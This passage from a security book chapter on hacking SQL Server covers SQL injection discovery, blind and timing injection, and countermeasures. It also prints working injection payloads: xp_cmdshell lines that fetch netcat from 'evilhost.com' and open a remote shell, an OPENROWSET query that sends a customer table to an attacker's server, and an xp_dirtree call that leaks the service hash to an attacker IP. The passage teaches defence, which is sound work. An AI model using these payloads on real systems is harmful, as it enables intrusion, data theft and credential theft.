\nEncryption Technique\nPros\nCons\nImplement IPSec\n—Can protect all \ncommunications\nbetween hosts\n—Requires no changes \nto SQL Server\n—Complex setup for most \nSQL DBAs and developers\n—Requires administrative \nprivileges on hosts to \nestablish\nForce Protocol \nEncryption\n(SQL Server \n2000/2005 only)\n—Strong Crypto\n—Works over all netlibs\n—Complex setup for those \nwithout certifi cate setup \nexperience\n—On SQL 2005, without \na valid certifi cate you \nstill get encryption but \nno authentication or non-\nrepudiation\nTable 9-3 Options for Encrypting Data Between SQL Server Clients/Servers\nSource Disclosure from Web Servers\nA tragic reality of security is that vulnerabilities are sometimes like dominoes—\nfailures in one system can bring down otherwise potent defenses on entirely different \nsystems. In SQL Server application development, particularly for web-based \napplications, it is necessary to store a connection string so that the application will \nknow how to connect to the server. Unfortunately, this can be an albatross if the web \nserver reveals the connection string to an unauthorized user.\nOver the years, we have seen a number of source code disclosure vulnerabilities in \nIIS and other web servers. Many times, the disclosure comes from one of the \naforementioned bugs, and other times, the disclosure comes from poor security \npractices. An example of this is storing connection strings in include files with an \nextension such as .inc or .src. An unauthorized user can simply scour the site looking \nfor connect.inc or any number of variants, and when she finds the file, she’ll be rewarded \nwith the connection string the web server is using to connect to SQL Server. \n" }, { "page_number": 324, "text": "296 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Injection Attacks\nUntil this point, we have focused mostly on instances in which an attacker has direct \naccess to the SQL Server. However, with the ubiquity of the Windows Firewall, SQL \nServer 2005 not activating network libraries by default in Desktop editions, and security-\nconscious network administrators being more common, it seems that direct access is a \nluxury. SQL injection attacks are a different form of attack, in which an attacker gains \naccess to the SQL Server through indirect means such as a web-based application, a web \nservice, or even instant messaging or e-mail.\nSQL injection is best described as the ability to inject SQL commands that the \ndeveloper never intended into an existing application. One thing to remember while \nreading this section is that this type of attack is not limited to SQL Server. Virtually any \ndatabase that accepts SQL commands can be affected to one degree or another by these \ntechniques. It should also be noted that SQL injection is an application problem, not a \nproblem with the database server. Whether the injection occurs on an ASP page on a \nwebsite or in stored procedure in the SQL Server itself, most all SQL injection vulner-\nabilities are the result of poor input validation by the programmer.\nThe effects of a successful SQL injection attack can range anywhere from a disclosure \nof otherwise inaccessible data to a full compromise of the hosting server. An attacker \nreally needs to do only three things to perform a successful SQL injection attack:\n• Discover SQL injection vulnerability\n• Investigate and derive existing SQL\n• Construct SQL injection code\nSQL Injection Vulnerability Discovery\nA potential attacker will usually probe web-based applications or web services by inputting \nsingle quotes into text, numeric, and date fields and checking for error messages after \nposting. The reason this is dangerous is because the single quote is the string identifier/\nterminator character for SQL Server. Inserting an extra single quote will cause the execution \nIf the application is using native SQL Server logins, she’ll also see the username and \npassword. The obvious solution for this issue is to name all include files with the \n.asp or .aspx extension (for IIS servers) so that they are subject to server-side \nprocessing like all other files and also removing possible backup files (.bak or .old) \nthat may be generated by text editors.\nThe moral of this story is that you should assume someone will eventually see \nyour passwords. Do what you can to isolate the SQL server so that a source disclosure \ndoes not always result in a complete security breach. Also, you should consider \nusing Windows authentication for your SQL Server connections (despite the more \ncomplex setup in some cases), because that will mean not having to include usernames \nand passwords in connection strings.\n" }, { "page_number": 325, "text": "Chapter 9: Hacking SQL Server \n297\nstring to be improperly formed and generate an error such as “Unclosed quotation mark \nbefore the character string.” This is not always successful, as good developers tend to hide \ndatabase failures from end users, but more often than not, a user will be greeted with an \nugly ODBC or OLE DB error when the single quote has done its magic.\nThe three most common errors generated are\n• Unclosed quotation mark before the character string (from SQL Server)\n• Internal server error (from web server)\n• Syntax error (from SQL Server)\nPersistent attackers will probe numeric fields to determine whether they will accept \ntextual data as well. Invalid textual data that makes it back to the SQL server will likely \nset off an “Incorrect syntax near” or “Invalid column name” error message and alert the \nattacker that further exploitation may be possible. The danger of poorly validated \nnumeric fields lies in the fact that it is not necessary to manipulate single quotes to inject \nthe code. Poorly constructed SQL statements will simply append an attacker’s code \ndirectly into an otherwise legitimate SQL command and work its magic.\nTemporal Vulnerability Analysis If the application developer has done a good job of \nhandling exceptions, then it is quite likely that you will not get an error message of any \nstrange behavior whatsoever. In those cases, you can perform a “temporal analysis” to \ndetermine whether an injection was successful. Simply use the T-SQL WAITFOR DELAY\ncommand to tell SQL Server to pause for 10 seconds or so, and it should be immediately \nobvious when an injection is successful. For example, let’s say we have a web page that \nreturns a result in less than 1 second. If we then send it a request like this,\nhttp://localhost/portal-\nasp/EditMembers.asp?user_id=1%20waitfor%20delay%20'00:10:00'--\nsuddenly, the request takes more than 10 seconds to complete; it is likely that the \nadditional latency is due to our command reaching the SQL Server, which forced a delay \nof 10 seconds on our data access request. Of course, you can set the delay for longer time \nperiods (which may be needed for slow links), but keep in mind that you don’t want the \npage to time out; try to keep the request under 30 seconds, since that’s the time limit \nmany web servers place on individual page requests.\nBlind SQL Injection In addition to temporal analysis, a method called “blind SQL \ninjection” can be used for discovery and information disclosure. This method involves \nsending binary requests to the SQL Server to have it return true (the proper result) or \nfalse (another result) to a specific question. For example, what if we wanted to determine \nwhether the sql user account under which the application is running has dbo permissions? \nWe could issue a command like this:\nhttp://localhost/portal-asp/EditMembers.asp?user_id=1%20and%20user_name()='dbo'\nIf the user is a dbo, we should see the information for the user with a user_ID of 1(as we \nrequested). Otherwise, no data is returned. Using this type of true/false analysis, we can \n" }, { "page_number": 326, "text": "298 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ndetermine table names and eventually even enumerate data directly from the database. \nThis in accomplished by asking simple questions like “Is the first letter of the table name \nan a?” The analysis can be quite time consuming but is very effective.\nApplication Scanners As you can imagine, analyzing every field of every web page for \nSQL injection vulnerabilities is a gargantuan task. Luckily, commercial and freely \navailable tools are available to help with all this vulnerability testing—on the commercial \nside, try WebInspect by SPI Dynamics, Web Vulnerability Scanner by Acunetix, and \nAppScan by Watchfire, among others. Non-commercial solutions include Paros Proxy, \nAchilles, and WebScarab.\nOf the non-commercial side, Paros Proxy (Figure 9-7) provides the most automated \ncapabilities for vulnerability detection. All you need to do is load the application, \nconfigure your browser to point to the proxy server (Paros defaults to TCP port 8080 at \nlocalhost), and connect to the target website. Inside Paros, you can right-click the server \nand choose Spider to enumerate all the pages on the site. Finally, by selecting Scan, you \ncan have Paros automatically scan the entire site for a variety of vulnerabilities including \nSQL injection, Cross Site Scripting, and web server misconfigurations. Please keep in \nmind that none of these tools is a replacement for manual analysis since many \nvulnerabilities do not lend themselves to automated detection.\nFigure 9-7 Paros Proxy makes application security scanning almost as simple as a port scanner.\n" }, { "page_number": 327, "text": "Chapter 9: Hacking SQL Server \n299\nDetermine SQL Structure\nAfter an attacker has identified a potential target, his next step is to determine the \nstructure of the SQL command he is attempting to hijack. By investigating the error \nmessages or by simple trial and error, the attacker will attempt to determine the actual \nSQL code behind the page. For example, if a search form returned a product list containing \nproduct IDs, names, prices, and an image, the attacker could probably make a safe guess \nthat the SQL behind the page might be something like the following:\nSELECT productId, productName, productPrice, ProductURL, FROM sometable\nWHERE productName LIKE '%mySearchCriterion%'\nIn this case, the attacker is making assumptions based on returned datasets. In many \ncases, developers bring back many more fields from the database than are displayed or \nuse more complicated syntax. In these instances, more advanced SQL programming \nexperience is required, but diligence will eventually result in a fairly close approximation \nof the code behind the page. For example, if the attacker is having trouble getting some \ninjected code to execute, he could be up against a SQL string like the following:\nSELECT productId, productName, productPrice, ProductURL, FROM sometable\nWHERE (productName LIKE '%mySearchCriterion%'\nOR productPrice < 5)\nAND productSaleFlag=1\nThe attacker must be able to close the parentheses or his attack will result in a syntax \nerror from SQL Server. Of course, a common SQL Server injection strategy is to use the \ncomment operator (--) to comment out the rest of the SQL code. However, it will not \nwork in this case since the open parenthesis occurs before the injection. The only real \nsolution is to close the parentheses so that the SQL command will execute properly.\nThis is just a sample of the challenges that attackers face when trying to inject code \ninto complex SQL applications. Thankfully for the attackers, most SQL code is not nearly \nas complex, but in certain situations, a keen understanding of T-SQL programming is \nabsolutely critical in mounting a successful attack.\nBuild and Inject SQL Code\nWhen the attacker has an idea of what the SQL behind the page might be, he would \nprobably like to learn more about the login under which the application is running and \nperhaps the version information of the SQL server. One way to get this information from \nan existing application is to use the UNION keyword to append a second result set to the \none already being produced by the existing SQL code. The attacker injects the following \ncode into the search field:\nZz' UNION SELECT 1,(SELECT @@version),SUSER_SNAME(),1 --\nThis code first attempts to short-circuit the first result set by looking for two zs, and then \nUNION the empty result with the data in which the hacker is interested. Selecting the 1s\n" }, { "page_number": 328, "text": "300 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nis necessary to make sure the attacker matches the number of columns in the previous \nresult set. The most interesting feature of the injection code is the double dashes at the \nend. As stated previously, this is necessary to comment out the last single quote likely \nembedded in the application, to surround the data the attacker will input. If successful, \nhe now knows the SQL Server version and service pack status, the operating system \nversion and service pack status, as well as the login he is using to execute his \ncommands.\nLet’s say that in this case the login turned out to be sa (the system administrator \naccount). With system administrator privileges, the attacker is free to execute any \ncommand on the SQL server itself. The next snippets of injected code placed in the input \nfield might be something like the following (assuming xp_cmdshell is enabled on the \nSQL Server):\nZz' exec master..xp_cmdshell 'tftp –i evilhost.com GET netcat.exe'--\nAnd then this:\nZz' exec master..xp_cmdshell 'netcat –L-d-e cmd.exe –p 53'--\nAt this point, the attacker is using the TFTP client included with Windows to bring in \nthe useful netcat utility and obtain a remote shell—check and mate. There is little use in \ndiscussing this attack further, since the attacker is free to import and execute code on the \ntarget machine as well as access all data on the SQL server.\nAdvanced SQL Injection\nPopularity:\n10\nSimplicity:\n7\nImpact: \n9\nRisk Rating:\n9\nThe previous example assumes that an attacker gains access with a high-privilege \naccount on a SQL server with the xp_cmdshell extended stored procedure enabled. Since \nattackers are not always so lucky, they must also rely on more advanced techniques that \nleverage the capabilities of even low-privilege accounts. Once an attacker has determined \na viable means of attack, he is likely to pursue a variety of possible objectives, and we \nneed to be aware of these. An attacker will in all likelihood be after one of the \nfollowing:\n• Tamper with existing data in an attempt to damage the integrity of the assets\n• Steal data by returning information back to the web page\n• Steal data via blind SQL injection\n• Steal data via outbound data tunnel\nNext we’ll look at some tools and techniques that can be used in low-privilege \nsituations where attackers don’t always get total control with a single vulnerability.\n" }, { "page_number": 329, "text": "Chapter 9: Hacking SQL Server \n301\nAbsinthe\nTo fill the need for push-button SQL injection exploitation, a tool called \nAbsinthe (by nimmish and Xeron) was created (Figure 9-8). This tool does not search for \nSQL injection vulnerabilities but rather exploits a known vulnerability to extract \ninformation from the database. It does this by using one of two mechanisms: blind SQL \ninjection and SQL Server error messages.\nThe blind SQL injection method sends multiple requests to the application asking \nbinary, yes/no questions of the SQL Server by specially crafting injected SQL code. This \nmethod can take quite a long time, especially if a slow link exists between the attacker \nand the vulnerable web application. The primary advantage of this method is that it will \nwork even with error messages suppressed by the application.\nFigure 9-8 Absinthe can automate SQL injection and error-based data theft attacks.\n" }, { "page_number": 330, "text": "302 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThe SQL Server error messages method works by using specially crafted SQL code to \nforce data to be displayed back to the tool from an error message. This is usually achieved \nby taking some piece of text and attempting to convert it into an integer. SQL Server will \nusually report back with an error message like this:\nConversion failed when converting the varchar value 'test' to data type int\nBy repeatedly cycling through table names, field names, and data, the tool can derive the \ncontents of a victim’s entire database.\nNo matter which method you use, this tool will take a long time to extract data, \nwhich may expose the attacker to detection if the web server logs are closely monitored. \nHowever, the advantage is that the attacker does not need to set up any special \ninfrastructure on the remote side to extract data from the SQL Server. Since, at a minimum, \nmost web-based applications run with select access to many database tables, this tool can \nbe very effective at extracting a victim’s data right through the website.\nBobCat\nA more efficient, but complex, method of extracting data from a remote SQL \nServer is to use the OPENROWSET (still possible in SQL 2005 but disabled by default) to \npush data out to remote locations. The OPENROWSET functionality allows the SQL Server \nto connect to remote data sources within the context of a query. This is a very handy \nfunction that unfortunately can have dire consequences when in the wrong hands. \nConsider the following query:\ninsert into OPENROWSET('SQLOLEDB',\n'uid=sa;pwd=h#a$c^k&;Network=DBMSSOCN;Address=hackersip,1433;',\n'select * from remotecustomertable')\nselect * from customertable\nThis query selects data from the customer table and inserts it (over the network) to \nan attacker’s SQL Server. This method is much more efficient than trying to pull the data \none character or one field at a time, as does the Absinthe tool. However, the side effect is \nthat this requires the attacker to install and expose a SQL Server to the Internet or local \nnetwork. In addition, if the target SQL Server is prevented from establishing outbound \nconnections, this attack will fail.\nBobCat (Figure 9-9) is a tool that helps automate the process of assembling the proper \nSQL commands for this attack. Based on a tool called Data Thief, originally developed by \nCesar but since retired, BobCat was developed by northern-monkee as a .NET port of the \noriginal Data Thief tool.\nAs you can see, the tool requests the location of the attacker’s SQL Server and all of \nits connection information. If the target SQL Server allows outbound connections, this \ntool can easily download the entire contents of the database in short order.\nShould a victim notice the attack and inspect the requests, she would have access to \nthe attacker’s SQL Server for as long it remains connected to the Internet. Although the \ntool defaults to the sa account, an attacker could use a lower privilege account with DDL \npermissions to create tables and insert data.\n" }, { "page_number": 331, "text": "Chapter 9: Hacking SQL Server \n303\nStealing SQL Server Service Credentials with Minimal Privileges Do not assume that just because \nan attacker can only gain SQL user privileges that you are safe. Consider an application \nthat properly uses least privilege and allows the application to run as a normal user account \nand has been granted access only to a restricted set of tables and/or stored procedures. In \naddition to the obvious data theft possibilities, an attacker could also make use of system \nstored procedures that are available to the public role, such as xp_dirtree.\nThe extended stored procedure xp_dirtree has a seemingly harmless function: it \nsimply creates a directory tree of a location on any attached drives to which the SQL \nservice account has access. In addition to the obvious information disclosure threat (on \nSQL 2005, no data will be returned unless you are a sysadmin, but the server still tries to \nconnect making it vulnerable), it does something else that is interesting: it accepts a \nUniversal Naming Convention (UNC). A UNC allows you to specify other hosts. By \nusing a specially crafted UNC name, it is possible to make a request to a remote server \nusing a SQL injection vulnerability and force it to connect back to another system on the \nInternet (or local network).\nHere’s an example snippet of SQL injection code:\n' exec xp_dirtree '\\\\attackerIP\\someshare'--\nIf an attacker has a sniffer running on the wire (or he’s simply running a tool like \nCain and Able, which has the sniffer and the password cracker built-in) and the victim’s \nFigure 9-9 BobCat can quickly absorb data from a victim SQL server if it allows outbound \nconnections.\n" }, { "page_number": 332, "text": "304 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Server allows outbound connections, it is very possible that the attacker could \nintercept the authentication request of the SQL Server (trying to connect to the UNC) and \nsteal the hash.\n“What good is the password of the SQL Server service account?” you might ask. \nWell, when installing SQL Server, the user is encouraged to provide two critical \ncredentials:\n• The username and password for the SQL Server service account\n• The sa account password (even when using Windows Authentication)\nIf the installer is like most humans, the passwords will likely be the same. In addition, \nthe password may also be used for high-privilege accounts within the application, IIS, or \nthe operating system itself. Of course, if the SQL Server is running as LocalSystem, the \nattacker will have no credentials to steal—but then the SQL Server is running with \nexcessive privileges so an attacker may turn his attention toward exploiting that fact.\nSQL Injection Countermeasures\nVendor Bulletin:\nNA\nBugtraq ID:\nNA\nFixed in SP:\nNA\nLog Signature:\nY\nBrace yourself for some disappointing news. If your applications are susceptible to \nSQL injection, no hotfix, service pack, or quick fix is available to protect you (except if the \napplication has its own updates such as with commercial or open-source products). \nInstead, you must rely on such defenses as good architecture, development processes, \nand code review. Although some tools have begun to surface that claim to ferret out SQL \ninjection problems, none so far can match the power of good security-related quality \nassurance.\nOnly one technique will reliably help fight the injection issue at the application layer: \nparameterized queries. Parameterized queries clearly define which portions of the query \nare variable and which are static, thus eliminating string-building code that is highly \nsusceptible to attack. While not 100 percent effective in protecting against SQL injection \nat all layers, it is still your best defensive strategy.\nSQL injection can also manifest itself in stored procedures that use EXEC or sp_executeSQL \nstatements even when parameterized queries are used, since the injection occurs at a different layer \n(the database).\nTo see why this is the only reliable method, let’s look at some other methods that \nhave been proven to be helpful but do not offer complete protection:\n• String replacement\n• Stored procedures\n" }, { "page_number": 333, "text": "Chapter 9: Hacking SQL Server \n305\nReplacing a single quote with two single quotes tells the SQL server that the character \nbeing passed is a literal quote. (This is how someone with the last name O’Reilly can be \nplaced in your LastName field.) To do this in Active Server Pages, you can make use of \nthe replace command in VBScript like the following:\n<%< variable = left(replace(inputstring,',''),10)\n%>\nThis will apparently neuter the injection into the 10-character text field. However, this \ncan fail in some situations. For example, let’s consider if the input was 123456789'.\nWhen the replace function is executed, the single quote will be normalized to two \nsingle quotes, but when the text is truncated by the left statement, the vulnerability \nremanifests.\nUsing stored procedures can also seemingly help to stem the flow of SQL commands \nto the back end since the commands are precompiled. The most common failure of stored \nprocedures to protect applications is when stored procedures are implemented using \nstring-building techniques that defeat your protection. Examine the following code \nsnippet:\n<%